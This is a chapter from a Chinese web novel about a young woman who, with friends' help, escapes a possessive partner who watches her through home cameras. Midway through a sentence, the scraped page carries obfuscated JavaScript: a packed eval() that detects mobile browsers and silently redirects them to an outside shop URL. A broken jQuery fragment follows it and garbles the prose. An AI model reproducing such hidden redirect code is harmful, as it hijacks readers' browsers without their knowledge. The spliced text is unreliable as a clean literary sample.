文趣网 > 都市小说 > 温柔学长竟是阴湿病娇 > 38. 缸中的第三十八天
    驻唱民谣低低淌着,桌面上玻璃瓶装着的粗盐块灯光裹着散漫的酒气,散尾葵影影绰绰。

    赵清之晃了晃手里的酒杯,她微微偏头,大波浪长发顺着肩头轻轻一甩。

    “OK,OK,我明白了。保证办到。”

    她刚挂断电话,旁边的杨飞翼立马就蹭了过来,下巴搁在她肩膀上:“姐姐。什么事啊?”

    赵清之推他额头:“滚滚滚,一股酒气,臭死了。”

    “你刚才还亲我呢。”杨飞翼委屈。

    赵清之“啧”一声,杨飞翼赶紧挂上笑脸:“我的错。”

    赵清之这才挠挠他下巴。

    “等后天……你帮我个忙。”

    他附耳过去。

    和光苑。

    落地窗外满城灯火,衬得室内越发安静。

    温煦就着小炒牛肉和番茄鸡饭,慢慢地吃完了一整碗米饭。

    她撂下筷子,起身要再添,俞行倾身,顺势将碗接过去。

    他避开锅边,轻轻舀了锅里中间上层最蓬松香软的米饭,堆得满满一碗,递回去。

    俞行早就吃完了。但他就这样坐在对面,看着温煦动作,目光描摹着她鼓起来一动一动的脸颊。

    他满意:“长肉了。前几天骨头都突出来,一点都不健康。”

    还好意思说。

    她瘦成那样,是拜谁所赐?

    温煦不作声,专心夹菜。她前几天吃得很少,现在突然恢复正常饮食,肠胃不习惯,其实已经有些撑了。但她还是慢慢一口一口地咀嚼。

    她要足够饱,足够有力气……

    她还有很长的路要走。

    躺在久违的卧室的大床上时,温煦还有些恍惚。

    那件白色内衣的碎片被收起来了,装在一个精致的盒子里,俞行给她展示过。

    其实看见那些碎片时,温煦心里很平静。

    那套内衣早就不适合她了。纯棉的布料缩了几次水,她的身体维度也在抽枝生长。于她而言,它最多代表“过去”。

    但她已经将它剪碎了,一刀一刀地。

    她不必被它困住。

    温煦翻了个身,看着旁边坐着看书的俞行。

    他还是很好看。侧颜利落分明,线条从耳后一路收至尖巧的下颌,泪痣静静卧在眼角。如果是高三的她……或许会看一眼就生出些醺醺然的醉意,不敢再瞧。

    俞行合上书。

    他垂下眼:“怎么了,在看什么?”

    温煦说:“在看你。”

    看你斯文败类,看你人面兽心。

    那颗泪痣因他的笑,被挤得微微上移。他俯身亲了口,温煦没躲。

    待那点温热移开,她问:“我可以看看手机消息吗?”

    “原来是为了这个。”

    俞行轻声,眼尾又平了。但他说:“你想看谁的消息?”

    “我舍友的。”

    俞行把手机摸过来,点开和赵映之的聊天界面:“怎么,还没吵够?”

    一片空白。

    温煦不死心:“你给她发个‘对不起’。”

    俞行照做。绿色方块弹出去的瞬间,一个红色感叹号紧随其后。

    温煦被拉黑了。

    “还要做什么?”俞行声音轻而淡,“你看,她都不理你。”

    温煦默然,眼眶发红,拉了拉被子:“不做什么了……我困了。”

    “别为别人哭。”俞行放下手机,躺下去将温煦搂在怀里。他轻声:“他们都不值得。”

    温煦似乎彻底被击垮了,至少她表现出来的是这样。第二天,她没和俞行顶嘴,甚至还缠着他主动要了一次。那部温煦的手机就放在卧室床头,俞行没碰,温煦也没碰。

    于是到了后天。

    俞行在厨房里做饭,餐桌上已经摆了一盘切好的芭乐和曲奇。温煦啃着曲奇,黄油甜香充斥口腔。

    俞行又在蒸鱼了。他说温煦前几天肠胃不好,还是要吃清淡些。

    一顿饭很快做好。

    牛肉、虾仁、鱼、芦笋……俞行今天做得格外多。但眼看高悬的日头渐渐往西去,温煦不免心头火烧,没什么食欲。

    “我看你昨天胃口好起来了。多吃点,不够再添。”

    温煦还没拿起筷子,俞行便收到通电话。

    “喂,杨飞翼。”

    温煦屏息凝神。

    “什么赶紧过去。”俞行的眉头皱起来,“……进水了?”

    电话那头换了个人。

    “杨导。”俞行的语气认真了些,“之前的那个训练脚本……”

    温煦心脏怦怦直跳。

    他神色严肃。

    “好,我马上过来。”

    成……成功了!

    温煦的小腿肌肉在桌下一抽,她压住忍不住眯起的眼,低头要吃饭。

    俞行放下手机,指尖点了点餐桌,示意她抬头。

    “温煦,我去学校一趟。”

    他依旧冷静:“你在家里等我。我很快就回来。”

    温煦乖巧地点点头,面色平静。

    “不许出去。”他起身去穿外套。

    他提起电脑包出去,关上门。

    温煦放下筷子。她深吸了一口气。

    在住在老房子的那几天里,俞行还是请了阿姨每天打扫和光苑的卫生。这里的一切都仍然光鲜亮丽,不染一尘。

    她曾经想过很多次,在这里和俞行住一辈子。她那时候觉得这样很好,是安稳的后半辈子。可她逐渐明白了这种安稳的代价。

    她不知道她会不会又回到这里来。

    但她此刻——不要这样的后半辈子。

    她在心里计算着。

    从这里开车到津北大学大约要十分钟。十分钟后,俞行停好车,他大概会在步行到实验室的路上用手机看监控。

    她站起来伸了个懒腰,胃里排山倒海地涌动着闪光,她吃不下饭。

    ——到学校了吧?

    ——可能在看监控……

    ——应该见到杨导了。

    温煦走进卧室,看了会手机,换了身轻便的运动装。她戴上个止汗带,不小心将手机遗落到沙发上。

    她要出门了。

    是的,她可能是出去跑步,或者只是走走。

    温煦握住黑色的门把手,普通地一转。

    门开了。

    几分钟前。

    俞行看着屏幕上伸懒腰的人影,轻轻一按将手机熄屏。

    电梯“叮”地一声,他疾步走进实验室。

    一股电器运转的闷热气扑面而来。桌面摊着论文稿件和外接键盘,一只白瓷的咖啡杯歪倒在旁,深色液体顺着桌沿滴落。

    桌下的台式主机彻底停转,显示器黑屏,机箱缝隙还能看见水迹。

    杨清涵眉头紧锁,正蹲在机箱旁用纸巾吸水。杨飞翼手足无措地站在角落,见俞行进来,尴尬地呲牙一笑。

    “姑……杨老师。那个,俞,俞行来了。”

    正午的阳光烈得透亮,今日晴空万里。

    一辆红得耀眼的野马敞篷车“嗡”地贴地而过。

    “好——爽!”

    赵清之戴着墨镜,又踩了脚油门,车身不断超过路旁匀速行驶的车辆。风声呼啸,盖过车载的摇滚歌。

    温煦坐在后排,紧紧贴着座椅靠背,双腿蹬着地板,晕眩感一阵阵往上冒,不敢睁眼看飞驰的街景。

    赵映之在副驾,双手扣着车门内侧拉手,面色如蜡:“别超速——”

    “知道,知道!这不是车少嘛!”赵清之的发丝狂乱地飞舞,“最后一段,马上就到政务大厅了!”

    温煦稍稍睁开一点眼睛:“谢谢清之姐……和映之……啊!”

    “谢什么!我先前说过帮你揍俞行的,你忘了?”

    赵清之熟练地操控方向盘,敞篷车利落地穿梭在车流之间。

    下了立交桥,驶入临近政务大厅的城市辅路。

    车流突然停滞。

    “堵死了。”赵映之解安全带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604213|205273||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“温煦,我和你下车。还有九百米,跑过去。”

    温煦快步和她跳下,顾不上一路飙车带来的眩晕,穿过车流间隙,直奔政务大厅。

    温煦到底先前瘦了,跑到一半路,慢了几分。赵映之回头,拉住她的手,一路快跑。

    终于到达政务大厅,她猛地推开玻璃大门,将温煦拽到户籍窗口前。

    “我们……补办身份证!”

    细碎的运转声在实验室回荡,机柜指示灯明暗明灭,网线沿着桌边串连。

    “盘没事。”

    俞行插着从主机里取出的硬盘,打开终端。

    “能找到断点吗?”杨清涵问。

    俞行打了串命令在log文件上,屏幕“哗哗”翻动出最后的几百行记录。

    大约过了十多分钟,俞行确认到最后一个完整epoch。杨清涵连忙叫他写脚本,将训练续上。改了参数,键盘敲完,两个人盯着屏幕看了几个iteration,观察验证了好会,才确定没有后续问题。

    杨清涵长舒口气,俞行却心头一跳。

    他说:“杨导,我去趟卫生间。”

    杨清涵点头后,他走出实验室带上门,打开手机监控。

    没人。

    没人。

    没人。

    俞行不停滑动屏幕,仔细地从客厅看到卧室,面色越来越沉。

    但行李箱还在储存间。手机还在沙发上。她似乎什么都没带。

    俞行眉头压了下去。

    只是下楼?

    如果不是。那她没有钱,没有身份,就算报警也会联系到他——

    他开门道:“杨导,我家里有点事,先回去一趟,后续再过来。”

    杨清涵摆摆手:“速去速回。”杨飞翼却跟了上来,追着俞行到电梯门前。

    他嬉皮笑脸地勾住俞行的脖子:“好久没见着你了,急着回去干什么。反正修好了,我请你喝杯咖啡去,就当你帮我免了顿我小姑的打了。”

    俞行瞥他一眼:“我有急事。”

    “哎呀,什么急事慢事,就喝杯咖啡,你家能被火烧了不成?”

    俞行冷冷道:“放开。”

    杨飞翼把他往消防通道拖:“总之你先别急着走……”

    “杨飞翼,谁让你来的?赵清之?”俞行见杨飞翼脸色“唰”地一下白了,语气愈发笃定。

    “我最后说一遍,放开。”

    两侧郊野上偶有的机场配套建筑向后掠去,天边客机隐约可见。

    柏油路面被阳光晒得快要融化,沥青味翻卷滚烫。

    野马敞篷“唰”地飞过,引擎轰鸣。

    赵映之脸上还有刚才狂奔留下的红,感叹:“不枉演那么多戏。像《末路狂花》。”

    赵清之大笑,又一脚油门。

    临近落客区,她猛地收油,重踩刹车,轮胎“吱”地一响,整台车横甩摆正,稳稳停下。

    离起飞还有半小时,起飞提前十五分钟关舱门。

    “还有十五分钟!”

    三人一顿“噼里啪啦”,几乎是滚下车,直直冲进出发层。大厅冷气劈头盖脸袭来,温煦直奔人工柜台,递出临时身份证:“您好!”

    温煦什么行李都没有,手续办得极快,抓住登机牌便挤进无行李旅客通道。

    她忽然回头看了一眼。

    极短的一秒钟。

    赵清之笑着,赵映之撑着膝盖喘气,看着她在喊“快去”。

    出发层的光亮得一切都发白,两个人逆着站在那片白光里,快要被吞没。

    眼泪汹涌地冒出来,滚进衣领。

    她猛地转回去。

    地勤和机组打着电话,去登机口的接驳电动车司机向她招手,她一下子跨上去。

    电动车陡然拐过一个弯,廊桥入口扑面而来。

    温煦手里的登机牌被攥得潮湿。

    广播女声响起——

    “由津北飞往江城的MN0875次航班,即将关闭登机口——”